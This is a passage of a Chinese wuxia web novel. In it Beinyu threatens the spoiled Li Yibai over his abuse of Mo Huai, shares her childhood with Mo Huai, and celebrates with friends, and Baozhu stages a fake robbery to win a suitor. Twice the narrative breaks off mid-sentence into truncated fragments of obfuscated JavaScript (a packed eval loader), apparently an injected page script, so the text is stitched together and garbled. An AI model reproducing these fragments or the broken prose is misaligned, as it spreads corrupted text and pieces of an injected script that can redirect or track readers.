今日撞上北羽,直觉告诉他,是她把莫淮藏起来了。 “莫淮是本少爷花重金从东海买回来的狗,你没有资格带走他!快把他交出来,不然,我明天就去学宫要人,让整个天枢城都知道北羽抢了镇北王府的奴隶!” 李一白不缺奴才,但很缺一个任打任骂的出气筒。 父王平时盯他盯得紧,不许他随意毒打仆人,当年他之所以不顾凰允念反对,在东海花大价钱买下莫淮,就是为了弄个趁手玩意欺负。 事实证明,他没有看走眼。 莫淮是一个好用的沙包。 随便他怎么打,怎么骂,也只会乖乖承受,从不反抗,而且愈合能力非常强,极其耐打。 即便他父王和他师父看不下去,给钱让莫淮走,莫淮都跟认了主的忠犬一样,倔犟留在王府。 莫淮是自愿的,连卖身契都没有,他父王和他师父也就没了办法,随他便,默许他拿莫淮出气。 这两个月莫淮不在,李一白烦躁的时候,只能骂个人,扇随从几巴掌,打重了还得被凰允念拿剑抽手心,简直憋屈死了。 他必须把莫淮这个万里挑一的傻货找回来,否则,只有熬到他爹和他师父死的那天,他才能顺心如意了。 “北羽,你发什么呆!我让你赶紧把莫淮那个小贱货给交出……啊!” 李一白手中长剑不受控地调转方向,锋刃紧贴着脖颈下脆弱的血管,传来几丝疼痛。 他吓傻了。 北羽两根手指轻轻夹着剑刃,眼神冰冷,“我告诉你,莫淮是我的朋友,更是我的救命恩人,再让我听到你骂他,我就把你的舌头割开。” “你……你敢!我、我可是镇北王的儿子!”李一白嘴硬道。 “如若杀了你,镇北王当然跟我拼命,但我若只割你舌头,或者挖一只眼,划烂你的脸,反正你没死也没废,学宫和我师父肯定会出面保下我的。怎么样?要不要试一试。” 李一白的脸霎时惨青。 北羽正要再说几句话威胁恐吓他,突然一道沉稳男声传来。 “剑下留人!” 她侧身闪开,凰允念落在李一白身后,扶住吓得腿软的他。 血红的佩剑,在夜间格外鲜艳。 李一白见给他撑腰的来了,立即告状,“师父!北羽要杀我!” 凰允念撇了他一眼,平淡道:“她若要杀你,你早死了。” 李一白噎住,凰允念上前一步,“北羽,看在王爷的面子以及我的薄面上,你就饶了小白吧。我保证,他的嘴里不会再出现莫淮的名字。” “师父!”李一白愤愤道。 凰允念道:“再多说一句,往后五年,你都会在雪颂城度过,由你表姐教导。” 李一白脸色一白,自他出生,便受到万千宠爱,浇灌出一身臭毛病,身边的朋友亲人都顺着捋毛,有时凰允念训斥几句,也无大碍,唯独表姐李颂雪,性情刚烈,眼里容不得一粒沙子,有一次,他调戏婢女被她撞见,直接被吊在树上,抽了三天三夜。 李颂雪身为剑圣,连他父王都敬上三分,平时没少下功夫拉拢这个外甥女,他就算有胆子跟她唱反调,也不敢真惹怒她。 搞得每次他一闯祸,就被送去雪颂城,从小王爷、小霸王,变成乌龟怂包蛋。 真在雪颂城呆上五年,岂不是要了他的命。 权衡利弊之下,李一白面色铁青对北羽道:“我以后再也不会提起莫淮。” “切,这还差不多。”北羽冲他翻了个白眼。 李一白嘟囔道:“有什么好神气的,武功高又怎样,还不是爹不疼娘不爱。” 他声音极小,奈何北羽感官敏锐超脱常人,听了个一字不漏。 “你说什么!”北羽转身怒喝。 李一白是个纯粹的坏脾气坏心眼,不顾凰允念的阻拦,冷嘲热讽道:“我说你爹不疼娘不爱,从小就被卖给白发剑圣,听说,你到天枢城七年了,父母没看过你一回,还不如孤儿呢!” 这可真是扎了北羽的心窝。 她大怒出手,凰允念提起李一白的衣领带就跑,“小白失言,来日我定亲自登门道歉。” 凰允念不想与北羽大动干戈,溜得飞快,北羽一看人都跑远了,追上去也没意思,只能记下这笔账,来日再算。 她提起脚步赶路,却不复刚才的轻盈快捷,李一白的话如同一根刺,扎进她肉里,发痒,发痛。 也许是折腾一天太累了,也许是昨夜过于惊险,还没恢复好,北羽忽然累了,很累。 她停在一家酒楼的屋檐上,看着下面车水马龙的街头,良久,叹了口气,望向远处,竟看见一道熟悉的风景。 不凡茶馆? 她怎么走到这了? 北羽数起街道,云霄酒楼离鸠止渴那条街比较近,而鸠止渴离学宫差了小半个天枢城,她被李一白气晕头,抄了条熟悉的路,越跑越远,错得离谱。 这么一耽搁,她是无法准时赶到云霄酒楼了。 不过,迟个一炷香也无碍,南戏霖他们自会划拳喝酒打发时间。 北羽低头盯着鞋尖,既然已经迟到了,再晚一会儿也不打紧吧。 …………… 不凡茶馆后院。 莫淮坐在屋顶,捧着花瓶,看着插在水中的玫瑰花。 月光轻柔照在花上,美好静谧。 一道极轻的声响落下,像是一只雀鸟伸出爪子点在瓦片上。 莫淮心头一震,回头看去,果然是北羽来了。 他露出微笑,却发现北羽有点不一样。 与白日的意气风发相比,现在的她虽然也在笑,却透出淡淡疲惫和一点点忧伤。 莫淮担心道,“你怎么了?” “没怎么,刚巧路过,来看看你。” “你不高兴。” “没有。” “但你看起来就是不太高兴”莫淮迟疑道。 “我说没有就没有。”北羽坐下,拿过他手中的瓷瓶,里面的玫瑰是她白天送的那朵。 “瓶子不错。” 莫淮耳朵粉了,“我在店里买的。” “好眼光。”北羽笑了笑,半边脸隐入月色,“跟我讲讲你在东海的事吧。” “什么?”莫淮错愕。 北羽:“聊聊你以前的事,同样的,我也告诉你,我以前的事。” 莫淮确定了,北羽今夜真的很不一样,相识以来,她从不问他过去的事,因为她心知肚明,他曾经过得凄惨。 既然北羽问了,他就一定会说,然而,那些满是血色伤痛的曾经,要怎么说呢? 莫淮寻思了一会儿,干巴巴说道:“打架,挨打,挨骂,吃饭,睡觉,然后还是打架,挨打,挨骂。” 北羽叹息一声,“那你在镇北王府呢?” “……” “挨打,挨骂,吃饭,睡觉……” 莫淮的眼睛注视前方,听见耳旁又是一声叹息,北羽的声音幽幽响起,“真惨,如果给你一个机会,你会报复那些欺负你的人吗?” 莫淮一愣,想了想,十分认真地说:“我会杀了他们。” 他要把东海斗兽场里的人全部杀光,一个不留。 “那李一白呢?你会也杀他吗?” 这是一个好问题,莫淮沉默了。 东海斗兽场的主人脾气古怪,从不对外出售兽奴,兽奴老了、残了,宁可杀掉,也不外卖。 他算是斗兽场里最好的兽奴,吃得少,打得多,什么都不懂,身体愈合能力强,久而久之,就成了招牌,每天都有人慕名而来,点名要看他下场打。 他很累,但为了活下去,他必须坚持。 直到小黑死了,他再也坚持不下去,谁料决定去死的时候,李一白买走了他。 据说,那是一个天价。 镇北王府又大,又漂亮,有很多人,他们虽然用奇怪的眼神看他,虽然个别人嘲笑他、想欺负他,但大部分人是善良的。 他去厨房给李一白端菜,厨房的人会额外塞吃的给他;他被李一白打了,罚了,治病的大夫会多留瓶药给他,以备不时之需。 总带着一柄红色的剑被称为血凰剑圣的男子,会皱着眉头拦住打他打上头的李一白,而被师父骂过的李一白,会短暂恢复人性,在之后几天不打他也不骂他。 这样陌生又熟悉的环境,莫淮适应得很好。镇北王不许李一白无缘无故就打骂奴仆,以强凌弱。可李一白又手痒,所以,他就被需要了,不用担心被抛弃。 即便镇北王给他钱放他走,他也不敢走,怕到了外面又被骗,又被卖。 跟东海驯兽人的刑具相比,李一白不过是小打小闹,通常见血就收,下手最重的那次,就是玉怜真和北羽撞见的那回。 所以,他宁愿跟着李一白,也不要重蹈覆辙。 他麻木沉浸在这种病态中,直到遇见北羽,跟许先生读了近三个月的书,学了做人的道理,方才脱离苦海。 东海那些禽兽是穷凶极恶,李一白只是没那么恶毒,不代表不坏。 然而,有因才有果,到底是李一白把他救出斗兽场。 “我下不去手。”他如实回答北羽。 北羽苦笑,“好一个下不去手。” 莫淮慌了,怕惹她不开心,“你希望我杀他吗?” “这是你的事,我没资格替你做决定。”北羽把那朵玫瑰花从水里抽出来,转着玩,“我的过去跟你比,那是幸福多了。” “北家扎根怜雪城多年,也算家大业大。我一出生就出名了,师父收我为徒的时候,我还是个襁褓婴儿,刚出满月。师父要带我去圣剑山,我娘舍不得,但父亲乐意卖我师父一个好,就同意了。” “在圣剑山,师父对我特别上心,就算请了乳母也要自己带我,白天陪我玩,晚上搂着我睡觉,我哭了闹了,他一个人哄。我开口说的第一句话,就是师父。 说俗一点,我师父是当爹又当娘,虽然我本来有爹娘。” 北羽顿了一下,然后接着往下说。 “师父痴迷于教我剑术。 别的小孩识字学百字经,我学剑法心诀,我会用筷子的时候,他就雕了一柄筷子大小的木剑教我耍。 当时我以为全天下的孩子,都跟我过着一样的日子。直到七岁那年,我实在练烦了剑,闹个不停,师父买了一箱话本子给我看,读了那些故事,我才知道,自己是个特例。 那两年,我一直在闹,闹着下山,闹着回家,闹着再也不练剑。 最后,我真的下山了,不过是被歹人绑下去的。” 莫淮心揪成一团,“他们伤害你了?” 北羽摇头:“不知道,我全忘了,一点也不记得。得救之后,师父把我送到学宫,自己则回圣剑山闭关,一年到头出不来两回。” 莫淮:“你师父不该那么小就把你抱走,还硬逼着你练剑。” “也不算硬逼,我挺喜欢练剑的,只是……”北羽咬了咬嘴唇,“师父他太执着让我练完太上忘情剑诀飞升了,即便我也希望有朝一日剑法大成,但是我不想他催我。” 她眨了眨眼,“听完这些,你觉得我师父是一个怎样的人?” “……世外高人,仙风道骨。”莫淮不好当着北羽面说她师父坏话。 “我师父长得确实仙气飘飘,但在我的记忆里,他经常哭。” “哭?” 莫淮闲暇时,在不凡茶馆听过不少书,白发剑圣在故事里,不是打遍天下无敌手的绝世高手,就是心爱之人死后断情绝爱的痴人。 这样的人,怎会轻易落泪。 北羽:“那时候,我一不练剑,师父就不和我一块吃饭,我偷偷去看,发现他在吃眼泪拌饭,就以为是被我气的。” “后来我长大懂事了,才知道师父哭不是因为我,而是因为他自己。” “世人皆知,我师父练剑十八年,修成太上忘情剑法,得入逍遥游境界,一朝下山,打遍天下高手,拿了学宫试剑大会第一,拿了无极大会第一,十八岁就成为了名副其实的天下第一。 可是,他们不知道,师父在圣剑山上,过的是什么苦日子。 圣剑山早年落魄,东海魔变的那一年,我师祖率众弟子前去帮忙,侥幸得了仙人留下的秘籍,便决心要收一个徒弟,练成仙法,重振圣剑山。 师祖寻访各地,终于找到了根骨奇佳的我师父,被带走的时候,他也是一个小婴儿。 为了让师父练好太上忘情剑法,师祖活生生关了他十八年,没有朋友、没有玩的东西,师父只能见到师祖一个人,而师祖为了让他断亲情,三个月才见他一面。 最终,我师父的确年纪轻轻就成了天下第一剑客,可他也几乎是一个涉世未深的傻瓜,傻傻爱上了突然冒出来的师娘,不肯飞升,执意成亲,把师祖气了个半死。 结果,成亲当天,我师娘的夫君找上门来,师父才知道,自己爱上了一个有夫之妇,一个恶名远扬的杀手。 可笑的是,师娘的夫君,竟然是我师父自以为的好朋友,魔教教主斐翠然。 我师父被算计得干干净净。 他承受不住好友的恶意,师娘的自尽,以及师祖的去世,就跌境了,剑心也破了,永远成不了剑仙。 他什么都没了,只能把我当成最后的希望,期盼我能飞升成仙。” 想到北羽受过的委屈,莫淮心痛的要命,白发剑圣固然可怜,但他凭什么把压力给北羽,剥夺北羽小时候的自由。 感受到他的视线,北羽笑道:“你别胡思乱想,我说这些,没有怪师父的意思,我还挺享受当个高手的。” “况且,我已经想到解开师父心结的法子。希望事成后,他能想开点,我也算了却一桩心事。” 她拍拍莫淮的肩膀,“把心里话讲出来,舒服多了,谢谢你听我说了这么多。我得走了,明天再来找你玩。” 北羽把玫瑰花插回瓶中,朝莫淮一笑,莫淮有些害羞,“那……明天我等你。” “嗯。” 北羽像一只蝴蝶,翩飞入夜幕,渐渐远离了莫淮。 一炷香后,她到了鸠止渴。 持续施展轻功,虽不损耗内力,却消磨体力,北羽绕着大半个天枢城跑了一圈,不免有些累。见天下第一赌坊的阁楼顶端开了扇窗,她索性翻进去找风无霜,稍作休息。 偌大屋内乱糟糟,屏风倒了,香炉撒了一地,白狐毛毯上落满信纸,北羽吓一跳,喊道:“风无霜你在吗!你屋里遭贼了!” “唔,低声些……” 虚弱的声音从角落传来。 北羽朝床榻走去,淡紫色纱帘垂地,她隐约看见风无霜蜷缩在白虎旁边。 “你……生病了吗?”北羽疑惑道。 “咳咳,是……我病了,你怎么突然来了。”风无霜低声道。 北羽:“我今晚上去云霄酒楼吃饭,顺道路过赌坊,来问问你赌约的事。” “啊!” 风无霜极轻微地哼了声,似乎是疼痛之音。 北羽有些不安,“风无霜,你出什么事了?” “刚刚溜进来一个贼,打伤了我。” “哪来的贼这么大胆,要不要我帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“因为你肉最嫩。”南戏霖打了个哈欠,玄北离摇响金铃,外面等候已久的侍从们陆续上菜。 北羽一屁股坐在软榻上,丧里丧气。 叶一片问道:“你很累吗?” 北羽点点头,其余三人也围过来,她将今天经历的一切挑重要的讲出,尤其提到了宣德太监的缺德做法。 “老太监这么阴险!”云笙弦对欺负北羽的人从来毫不客气,直接开骂。 “那可奇怪了,宣德太监对我挺好的。”叶一片说道。 玄北离想了想:“宣德太监我见过不少回,挺高冷的,今天估计是脑子抽风了。” “你们没一个说到点上的。”南戏霖抱起胳膊,“宣德针对北羽,是因为他不希望北羽和八皇子相亲成功,于是,从中作梗。看来,这位掌监并不支持轩宸帝最宝贵的八儿子夺嫡。” “北羽,八皇子跟大公主,你看好哪一个?” 她夹了一筷子菜,“一个孝子,一个野心家,两个人我都不熟,谁当太子无所谓,只要当了皇帝之后,不欺负老百姓就行。” 南戏霖颔首,这话说到点子上了。 云笙弦:“我觉得大公主说的有道理,北境开国以来,还没出过女帝,就挺离谱的。星宫往前数四任星皇,连任了三位女皇。南境有天心女帝,西海无极宫的女宫主多了去了。几十年前覆灭的东海曌国,更是以女承帝位为正统。” 听他这么说,玄北离忆起一件往事,权当笑话讲出来:“我小时候,碰见过一个瞎眼算命先生,他跟我说过十六字箴言,一朝为后,一朝为帝,七星连珠,女主北境。” 叶一片:“喂!别聊皇家的事了,聊聊我们自己的。轩宸帝似乎挺喜欢我的,让我过两日再进宫一趟,说要指位将军给我做老师。” 北羽忍俊不禁,有她“珠玉”在前,轩宸帝当然看叶一片哪里都好。 五人连碰了好几杯酒,千金席面上的珍馐美味竟沦为下酒菜。 要的酒太烈,几人很快喝得醉醺醺,开始东扯西扯。 南戏霖大着舌头说海刀夫子把他当驴使,催分斋名册跟催命似的。 玄北离笑呵呵拍他,“夫子是想你接他班吧,试剑大会又不是年年办,得让你熟悉各项事务怎么办。” 叶一片揉着额角,嚷嚷道:“我不喜欢分斋,分了斋,七斋荷花池的莲蓬就归七斋的人了,我们吃不到了。” “光想着吃。”云笙弦脸颊粉里透红,“等分了斋,再过两年,我就要去星地,进星宫了,可我舍不得你们。” 北羽拉住他左胳膊,晕乎乎道:“那不许你走了。” 南戏霖大笑:“你拉他有什么用,他满心眼都是星宫的盼灵,哥大不中留,北羽你就认了吧。” 叶一片醉歪歪拉住云笙弦右胳膊,“笙弦,你不够仗义,为了盼灵,把我们几个全踹掉了。” 云笙弦痴痴一笑:“没办法,谁让我跟她才是一样的人。” 玄北离扯过北羽,“你放心,我中留,我陪着你,来,喝一个!” 北羽呜呜乱叫,“搞什么!叶一片去当官,我哥去星宫,我飞升当剑仙,十斋岂不是要散了!” 南戏霖仰头连灌三杯酒,“那又怎样,天下无不散之筵席,就合上一千年,少不得有个分开日子。我爹娘走的时候,我就想明白了。” 叶一片红了眼,“少提爹娘的事,我连他们长什么样都不知道!” 北羽掀起他的头发,在他耳畔道:“记不清模样而已。我倒是双亲健在,可人家夫妻都不搭理我呢!七年了,怜雪城离天枢城那么近,没来看过我一次!” 玄北离捂住脸,带了哭腔,“常来看又怎样,他们六岁就把我送来学宫,根本不在乎我。” 云笙弦心里十分不是滋味,打断他们,“快吃菜吧,要凉了。” 他给每个人夹了一堆菜,成功堵住了所有嘴,厢房内一时只剩下嚼菜咽菜。 这吃一口,那塞一下,云霄酒楼贵上天的一桌酒菜,成了稀里糊涂的大杂烩,极品烈酒仿佛浇了一片愁地。 这要让其他天字号厢房的食客看见了,定大骂一声暴敛天物,一道道无可挑剔的名菜,居然不细品。 吃喝到最后,五个人扶墙出门,脚步虚浮,云霄酒楼见此,专门安排了马车送他们回学宫。 豪丽车厢中,车帘全部被掀开透气。 南戏霖碰了碰北羽,“有个事,夫子让我跟你说一声。” “好事坏事?是坏事,就明天再说。”北羽呢喃道。 南戏霖:“好事,大好事。学宫试剑大会的第一,都要在石碑上留字,这石碑立在金柳湖畔,即便过个百年,也依然会有无数人前来瞻仰,你记得琢磨一下要留什么。” 石碑留字! 她竟然把这茬忘了。 北羽揉揉脑袋,她师父当年留了无敌两个字,委实霸气,她必须想一个更霸气的! …… 马车停在学宫门口。 五人你搀我,我扶你,歪歪斜斜并排扭成一条线,跌跌撞撞回了十斋。 各自回房之时,南戏霖喊住北羽,“你喝大了吧,往树上去干嘛。” “我要在树上睡。” 十斋院子里有一颗枝叶繁茂树干粗壮的桂花树,前人置了凉榻,可以躺两三个人。 “花味这么浓,你睡得着吗?” “睡不着正好,我得想想石碑上写什么。” 她冲进南戏霖屋里拿了笔墨纸砚,爬梯子上了树,躺在凉榻上不再吭声。 南戏霖也就随她去了,转头回了屋子。 …… 一觉到天明,宿醉致使南戏霖的太阳穴嗡嗡发疼,他洗漱完穿衣出屋。太阳高高挂在天边,也不知是何时辰,桂花树上,北羽还闭着眼趴在凉榻内。 风吹过,一张纸飘悠悠落下。 南戏霖接住,上面竟写了一首诗。 他读了两遍,心想,莫不是昨夜酒喝过了,激起北羽的伤心事。不然,她怎么写了这样伤感的诗呢,韵脚还散。 南戏霖将纸叠好,用茶杯压住搁在旁边石桌上,朝院外走去。 他不是一个喜欢多睡觉的人,一旦睡多了,必定要多做些事,来弥补消逝在睡梦中的时光。 鹅卵石铺成一条长长的路,略薄的鞋底踩上去,脚底微微痛痒。 南戏霖走着走着,又记起北羽写在纸上的那首诗。 人生百年苦尔,旧疾复添新疮。 来年岁上鬓角,遗忘春风少年。 卷一·学宫试剑完。 29. 卷二·南境演武 气肃而凝,露结为霜矣。 秋日末梢,天枢城人人以饮红枫酒为乐。 不凡茶馆中,莫淮帮着掌柜卸完一车酒,掌柜圆乎乎的脸堆起笑,挑了一坛枫叶红给他,“今个麻烦你了,这些酒里,数这坛酿得最好,留着喝吧。” 他没有动,掌柜又道:“曲小姐最近常来找你,你不喝,给她尝尝也好,这酒够软,她会喜欢的。” 莫淮接过酒坛子,掌柜回了前院,角落里窜出一道人影,拦住他,“嘿!有空吗?帮我个忙。” “什么事?” “我要你扮成贼打劫张公子,然后,我挺身相救!”宝珠搓手,贼兮兮笑着。 “……这招管用吗?” “管它有用没用,先用了再说!”宝珠取下腰袋,掏了把栗子,想塞给他,坐准此事。 莫淮一个闪身躲开。 自从他恢复相貌,取下面具后,时常纠缠他的宝珠反而对他失去兴趣,转头迷恋上隔壁街豆腐铺的张公子。 听掌柜念叨,宝珠是在灯会之时,一见钟情了戴着狐狸面具的张公子,只是,这段良缘有些剃头担子一头热,宝珠至今也没拿下他。 不过,这倒让宝珠对张公子更加另眼相待,越挫越勇。 见小恩小惠收买不了莫淮,宝珠祭出杀手锏:“礼尚往来,你帮我,我也帮你一把。” “我没有需要你帮忙的地方。”莫淮坐到院内木凳上,提笔练字,宝珠蹦蹦哒哒跟在他后面,“怎么会没有呢?难道,你不喜欢曲姐姐。” 柔软的笔毛险些戳穿宣纸,莫淮眼神一震,“你、你别胡说。” 宝珠:“胡说什么,她几乎每天都来找你玩,肯定是喜欢你。我打六岁起就跟在曲姐姐身后打架,我了解她。” “莫淮哥,你别觉得曲姐姐是鼎鼎大名的残仙北羽,你是一个默默无闻的平头百姓,你就配不上她。 女人喜欢男人,有时候不看重身份的。 像曲姐姐这样的女子,要是喜欢你,哪怕你一无所有,也不要紧,要是不喜欢你,哪怕你当了皇帝,也白瞎。” 那日花车游街后,北羽的真实身份就瞒不住了,被蒙在鼓里八年的宝珠,却并未感到不快。 于她而言,曲姐姐是北羽也好,旁人也罢,都无所谓,她交朋友,又不是冲身份交的。 莫淮知道,宝珠很小就认识了北羽,每年过生辰,北羽都会送她礼物,她说的话,确有几分可信。 想了半天,莫淮犹豫道:“真的吗……你真觉得……她喜欢我?” 莫淮低下头,耳朵红透了,光问出这句话,就几乎要了他的命。 宝珠恨铁不成钢道:“当然啦!你以为曲姐姐是一个很闲的人吗?我认识她这么多年,她从来只跟她四个好朋友玩。如今,她愿意每天抽出时间找你,必然对你有好感。不过,你若再不加紧,恐怕就有人后来居上了。” 莫淮脸色微变,皱起眉,“你是说八皇子?” 八皇子迷恋北羽,天枢城人尽皆知,茶馆是消息流通之地,纵然莫淮无心,也耳闻一二。 宝珠点头分析道:“曲姐姐嘴上说不喜欢八皇子,却隔三差五应他的邀约,由此看来,八皇子很有心机手段,你再不争取,怕会让他得了好。” “要知道,曲姐姐从不和爱慕她的男子拉拉扯扯,向来拒绝得干脆,这一次她对待八皇子的态度可不一般。” 莫淮还是难以抉择。 北羽那样完美,那样好,能和她做朋友,他就心满意足了,其余的,想也不敢想。 但书上也写了,一个人这辈子能遇见真心喜欢的人,十分不易,一旦碰见,那是上天给的缘分。 遇见北羽,是他的福气。 哪怕机会渺茫,只有半分希望,他也该去试一试…… 可是,他怎么配得上北羽呢…… 莫淮发呆半晌,宝珠等得不耐烦,“罢了,你不愿意就算了。” “……等等!” 莫淮站起来,缩了缩身子,“我……该怎么做,才好……” 宝珠笑了,“简单,你听我的就行!那个八皇子我见过,笑面虎似的,长得没你俊。咱们相识在先,你和他,我肯定站你。” “前几天,我还跟曲姐姐说了,像八皇子那样家大业大的男人,稍微不留神就骑到女人脖子上作威作福了,依我看,还是你比较好。” 听到这话,莫淮不由自主笑了。 宝珠啧了一声,这人住进她家快半年了,头一回对她露出笑脸,明明喜欢北羽喜欢得要死,嘴上却硬是不敢认,够扭捏的。 “好啦,在我教你讨曲姐姐欢心之前,咱们先商量一下,我和张公子的事情。成败在此一举,我一定要他爱上我。前两天,曲姐姐送我一匹大红锦缎,料子好极了,裁作嫁衣再合适不过。” 莫淮乖乖听完她的计划。 前几个月来,宝珠大多以娇娇姑娘的作态跟张公子相处,现在想来,张公子一介文弱书生,手无缚鸡之力,内心肯定渴望一个强大女人。 于是,莫淮蒙面扮作劫匪,等在张公子去书舍的必经之路,将人推进旁边小巷子威胁。 待到张公子叫天天不应,叫地地不灵的时候,宝珠就粉墨登场,大展三脚猫功夫,一举让懵懂鲜嫩的张公子摆倒在她石榴裙下。 “这真的靠谱吗?”莫淮再次质疑道。 宝珠昂起头颅,“呵,当然靠谱,别看我年纪比你小两岁,谈过的男人可比你吃过的盐还多。扮贼的衣服我都给你准备好了,来,去换上吧。” 莫淮迟疑地换好黑衣,被宝珠领到隔壁大街东边。 二人蹲在树后,探头探脑。 熙熙攘攘的街道,龙蛇混杂。 蹲了好一会,宝珠眼尖发现张公子的脑袋,指给莫淮。 莫淮蒙住脸,贴着墙根儿,猫一样灵巧窜到张公子身后,以迅雷不及掩耳之势,把他拽进巷子。 张公子猝然受袭,白净秀气的脸庞布满惊恐,看起来跟宝珠差不多大,年纪很小的样子。 “别杀我!我把钱都给你!” 他甩出钱袋就想跑,莫淮揪住他衣领,僵硬讲出宝珠教的话,“老子劫财、劫色,也劫命!你今天跑不掉了!” 张公子哇一声喊道:“救命啊!来人啊!” 莫淮拿布堵住他的嘴,扭住他胳膊,将他抵在墙上,张公子拼命挣扎,口齿不清道:“我有喜欢的姑娘了,求求了,留我个清白吧!” 莫淮尴尬极了,看向巷子口,一道人影蹿出来,但并非宝珠。 青衣飘飘,手持长剑的少年瞪着他,正气凛然道:“贼人,放开这位公子,否则休怪本道长不客气!” 玉怜真?! 莫淮始料未及,一时不知该退该留,玉怜真直接扑上来,“看剑!” 莫淮抓着张公子连躲三招,玉怜真:“哎呦,你这个恶匪还有几下子!”他一道剑气横劈过去,莫淮再次躲开,只是蒙脸布被轰掉。 随着黑布落地,其余两人大吃一惊。 玉怜真:“我靠!长成这样你还当土匪!” 趁乱薅掉嘴里布团的张公子:“长成这样还出来劫色啊!对着镜子摸自己两下得了!” 莫淮:“……” 三人僵持之际,扛着竹棍的宝珠登场,“张公子别怕,我来救你……了?” 看着多出来的玉怜真,她疑惑歪歪脖子。 张公子忽然反应过来,看了看莫淮,又看了看宝珠,“等等,他好像是你家的那个租客。” 宝珠脸色一僵,张公子又仔细瞧了瞧莫淮,“对!他就是你家后院的租客,我认的他,他还是许先生的学生呢!” “好啊,你……你们合起伙来骗我!” 张公子又气又恼,挣开莫淮就跑了,宝珠赶紧追上去,“别走,听我狡辩啊!” 玉怜真尴尬收起剑,摸摸鼻子,没有认出莫淮。 他心想什么年头了,还有人搞这种烂掉牙的救人命,再让人以身相许的桥段。 不曾想他一转身,正对上气冲冲折返回来的宝珠。 宝珠倒打一耙:“你谁啊你,竟敢坏本姑娘好事!都怪你,害我赘不到男人,简直是克我!说,你是哪家道观的牛鼻子,我以后要绕着你们道观走!” 看她一副要挠人的架势,玉怜真招架不住,“我又不知道你们在演戏。姑娘你放我走吧,我不是天枢城的道士。” “想走?没门!莫淮哥,我们一起教训他!” 宝珠撸起袖子,莫淮惊呆了,这也太不讲理了。 玉怜真也惊呆了,看着莫淮,“你是莫淮兄?你去换脸了吗?” “阴差阳错,我的脸治好了。”莫淮一笔带过,走上前对他笑了笑,“许久不见了,玉兄。” 见他俩认识,宝珠嘟囔着放下袖子。 再次与莫淮重逢,玉怜真开心不已,一如既往的话痨:“是啊,我们有三个月没见了,本来我师兄要带我走,结果他喜欢上一个女子,决定留在天枢城,现如今,我就在不远处的学宫钦天监听学。” “我总想着找你,但钦天监功课繁忙,老抽不出时间。今天能碰上,简直太有缘了。哦,还有这位姑娘,你好,我叫玉怜真。” 宝珠臭着脸道:“我叫宝珠,刚才逃走的那个人叫张之遥,本来该成我夫郎的,被你一搅和,估摸黄了。” 玉怜真笑嘻嘻,“宝珠姑娘何出此言,我观你面相近来红鸾星动,那个张公子肯定喜欢你,你们会修成正果的。” 宝珠瞬间变脸,“真的吗?玉道长。” “嗯!我看相很准的。” 宝珠心情稍微舒畅,左右已经弄巧成拙,就这样吧,“既然你和莫淮哥是朋友,就都去我家喝茶吧,方才得罪了,这茶我请你喝,再请你吃雪白香甜的桂花糕。” 她风风火火朝前走去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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午时刚过,不凡茶馆正是热闹时候,一袭长衫的魏说书人,立于台上,蓄势待发,彩衣舞男、兽皮青年覆面立于两侧,看架势,今天是要讲南境天心女帝的后宫之事。 小二笑迎宝珠,“哟,小老板回来了。” 宝珠:“领我的朋友们去二楼最好的位子,上壶碧螺春和桂花糕。” “莫淮哥、玉道长,你们慢慢聊,我去睡觉了。”宝珠打了个哈欠,她正是多觉的年纪。 小二引莫淮和玉怜真上了二楼,玉怜真看了一圈,道:“果然无论在何地,只要一演天心女帝有关的故事,准有一大堆妇女姑娘来看。” 小二:“可不是吗,南境那边或多或少忌讳尊上,不比咱们北境演的花样多。道长请看,今日这出戏,放在南境,就不敢将南蛮人搬上戏台。” 玉怜真挨着莫淮落座,一脸八卦道:“莫淮兄,你知不知道天心女帝和南蛮的渊源。” 莫淮配合他:“不知道。” “那我讲给你听!” 玉怜真絮絮叨叨起来。 “当下各国,若论兵强马壮当属南境,天心女帝登基以后铁腕治国,朝臣畏惧,对百姓却很好,南境的赋税算是各国最低的。 然而,如此贤明强悍的君主,最初只是一个不受宠爱,少时便被送去蛮族和亲的公主。 天心女帝在蛮族做王后的时候,育有两子,南境太德帝病重那年,她携幼子回朝探望,就再也没有回过南蛮。 后来,华安门宫变,女帝登基,南蛮随之发生动乱,女帝的丈夫南蛮归勒王,跟女帝的长子南蛮世子,全死了。 因此,天心女帝极其厌恶有关南蛮族的事物。 南境皇都乾元城里,那是半点南蛮故事都不敢演,南蛮商贩进了城都不敢用真名。” 莫淮为他添茶,“还有吗?” “当然有,天心女帝多精彩的一位皇帝,她的事迹三天三夜都讲不完,我倒是愿意讲,只怕我的话太多烦到你。莫淮兄,你跟我讲讲你的事吧,咱俩都做了这么久朋友了,我还不怎么了解你。” 玉怜真迟疑了一下,“莫淮兄,咱们是朋友吧?” 纵然他和莫淮经历过生死,但莫淮过于内敛,人冷冷的,淡淡的,叫他琢磨不透。 “自然。”莫淮抿了一口茶,“玉兄,我很乐意成为你的朋友。” 玉怜真眉开眼笑,挥了下拳头,“以后你别喊我玉兄什么的,我听着别扭,叫我怜真就行,佰师兄就这么叫我。” “嗯。”莫淮点点头 玉怜真凑近他,挤眉弄眼,“莫淮兄,我看你的面相跟宝珠姑娘一样,面泛桃花,红鸾星动,八成有了喜欢的人。” 莫淮攥紧茶杯,有些害羞,“这你都能看出来。” “那是,我可是玄真道观的弟子,算卦看相是祖业,讲给我听听,哪家小姐,能让你动心。” 莫淮微微垂首,“一个很好很好的人,我配不上她……” 30. 卷二·南境演武 学宫。 内宫十斋人口齐后,热闹许多,三三两两的少年结伴而行,怀内抱着霜降时节学宫分发给弟子的红枫酒。 前日抽签手臭的北羽抱着三坛上等的红枫酒,迈进十斋院内,打眼就瞧见鼻青脸肿的叶一片,“稀客啊,这不是叶大统领吗,脸上怎么挂了这么多彩?” 云笙弦夹起一块药棉,为叶一片擦拭脸庞,“北衙禁军中少不了仗着家里权势,作威作福的贵族子弟,令人讨厌。” 